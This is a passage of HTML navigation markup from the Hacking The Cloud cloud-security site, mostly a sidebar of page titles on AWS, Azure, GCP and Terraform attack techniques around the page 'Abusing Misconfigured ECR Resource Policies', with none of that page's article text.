4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-ecrgetauthorizationtoken class=md-nav__link> <span class=md-ellipsis> Understanding ecr:GetAuthorizationToken </span> </a> </li> <li class=md-nav__item> <a href=#downloading-containers class=md-nav__link> <span class=md-ellipsis> Downloading Containers </span> </a> </li> <li class=md-nav__item> <a href=#uploading-containers class=md-nav__link> <span class=md-ellipsis> Uploading Containers </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 